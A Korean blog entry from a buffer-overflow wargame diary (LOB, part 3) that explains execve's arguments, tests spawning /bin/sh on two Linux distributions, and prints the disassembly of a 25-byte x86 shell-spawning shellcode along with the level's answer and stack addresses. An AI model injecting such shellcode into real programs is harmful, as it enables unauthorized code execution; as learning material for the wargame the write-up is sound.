한땀한땀 정성들인 코딩

LOB 문제풀이 일기(3) 본문

보안/LOB

LOB 문제풀이 일기(3)

romance penguin 2021. 3. 27. 17:34
반응형

execve 함수 인자를 알아보자.

#include <unistd.h>


       int execve(const char *filename, char *const argv[],

                  char *const envp[]);

 

1번째 filename

-파일명 정확히 파일명 문자열의 주소값

2번째 argv 

-파일을 실행할때 넘겨줄 변수 배열 포인터 이니 문자열을 여러개 넘겨줄 수 있다.

3번쟤 envp

-환경변수 문자열 위와 마찬가지 

 

ebx, ecx, edx

모두 char형 포인터 

 

커널 버젼 차이로 execve에 인자에 영향이 다른거 같은데 정확히 볼라면 어셈블리어를 봐야된다 .. 

버전을 따져서 각 strcpy 함수호출에 대해서 어셈블리어 차이를 보면 명확해 지겠지만 . ㄷㄷ 

.




그전에 테스트로 차이를 보자.

char *scode = "/bin/sh";

char *s = NULL;

execve(scode, &scode ,s);

char *scode = "/bin/sh";

char *s = NULL;

execve(scode, &s ,&s);

 

2가지 차이를 우분투 ,레드햇 리눅스에서 테스트

결과 : 우분투에서는 잘되나 . 레드햇은 안먹히나.

정확한 원인을 파악하기 어렵다.. 일단 당분간 25byte쉘코드를 써먹어야겠다. ㅡ

0: 31 c0                xor    eax,eax

   2: 50                   push   eax

   3: 68 2f 2f 73 68       push   0x68732f2f

   8: 68 2f 62 69 6e       push   0x6e69622f

   d: 89 e3                mov    ebx,esp

   f: 50                   push   eax

  10: 89 e2                mov    edx,esp

  12: 53                   push   ebx

  13: 89 e1                mov    ecx,esp

  15: b0 0b                mov    al,0xb

 :wq! 17: cd 80                int    0x80

최종 쉘코드



답 : hello bof world

 

0xbf ff fb 6c

0xbf ff fb 7c

0xbffffb0c

 

반응형

'보안 > LOB' 카테고리의 다른 글

LOB 문제풀이 일기(6)  (0) 2021.03.27
LOB 문제풀이 일기(5)  (0) 2021.03.27
LOB 문제풀이 일기(4)  (0) 2021.03.27
LOB 문제풀이 일기(2)  (0) 2021.03.27
LOB 문제풀이 일기(1)  (0) 2021.03.27